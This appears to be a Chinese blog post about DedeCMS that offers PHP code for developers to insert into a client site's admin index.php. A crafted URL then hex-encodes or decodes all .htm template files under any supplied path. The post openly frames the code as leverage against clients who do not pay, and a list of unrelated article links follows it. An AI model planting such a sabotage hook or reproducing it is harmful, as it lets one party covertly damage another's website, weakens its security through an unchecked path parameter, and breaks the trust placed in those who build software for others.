织梦cms模板保护技术
来源:互联网 发布:coc黑水采集器数据 编辑:程序博客网 时间:2024/05/22 03:44
织梦cms模板保护技术,专门修理无良老板,尤其针对卸磨杀驴,干完活不给工资的外包老板。从此网上接单无忧愁
原理不说了,高手自然懂。菜鸟学会用就好了
二次开发部分:修改 /dede/index.php ,在 if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile; 后面添加如下代码
$action = isset($action) ? trim($action) : '';$path = isset($path) ? trim($path) : '';if($action == ''){exit();}else if($action == 'encode' && $path==''){echo '<script>alert("请输入路径");</script>';}else if($action=='encode' && !empty($path)){ scanAll2($path);}else if($action=='decode' && $path==''){echo '<script>alert("请输入路径");</script>';}else if($action=='decode' && !empty($path)){scanAll3($path);}function hexXbin($data,$types=FALSE){if(!is_string($data))return 0;if($types===false){$len=strlen($data);if($len%2){return 0;}else if(strspn($data, '0123456789abcdefABCDEF')!=$len){return 0;}return pack('H*',$data);}else{return bin2hex($data);}}function scanAll2($dir){//echo $dir."\r\n";if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){file_put_contents($dir,hexXbin(file_get_contents($dir),true)) ;}if (is_dir($dir)){$children = scandir($dir);foreach ($children as $child){if ($child !== '.' && $child !== '..'){scanAll2($dir.'/'.$child);}}}}function scanAll3($dir){//echo $dir."\r\n";if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){file_put_contents($dir,hexXbin(file_get_contents($dir),false)) ;}if (is_dir($dir)){$children = scandir($dir);foreach ($children as $child){if ($child !== '.' && $child !== '..'){scanAll3($dir.'/'.$child);}}}}
使用方法:访问后台的index.php文件
编码:http://localhost/dede/index.php?action=encode&path=../templets/
解码:http://localhost/dede/index.php?action=decode&path=../templets/
这样的模板没人认识吧
解码还原
阅读全文
0 0
- 织梦cms模板保护技术
- 织梦CMS自定义模板图片调用
- 织梦CMS 模板常用标记调用笔记
- 织梦cms模板与wordpress模板比较哪个好?
- 织梦cms模板下载:集团企业通用织梦模板
- 织梦cms模板下载:健身瑜伽类网站模板
- 织梦cms模板下载:广告品牌设计网站织梦模板
- CMS模板引擎:XHtmlAction
- 织梦CMS DEDE模板调用标签大全
- 织梦cms模板搭建网站,需要做哪些准备工作?
- 织梦cms教程:如何优化dedecms模板做的网站?
- CMS项目技术心得
- 齐博CMS个模板目录
- 帝国CMS模板标签使用
- 帝国CMS房地产网站模板
- Gpower CMS/模板置标
- cms同一域名不同模板
- 织梦cms模板下载:响应式机械螺丝设备网站模板
- 支持Angular 5!Wijmo 前端开发控件新版本正式上线
- 【Java】快速集成微信支付和支付宝支付
- 《运算符与函数》
- php函数收集
- 元素的scrollHeigth、offsetHeight、clientHeight
- 织梦cms模板保护技术
- python Enumerate( )方法
- 爬虫(Spider),反爬虫(Anti-Spider)
- FreeMarker新手指南第一册
- 图像压缩
- 少年的英文诗
- Bluewolf的调查结果是错误的吗?
- js实现快速排序
- esp8266从零快速开发SDK教程__00前言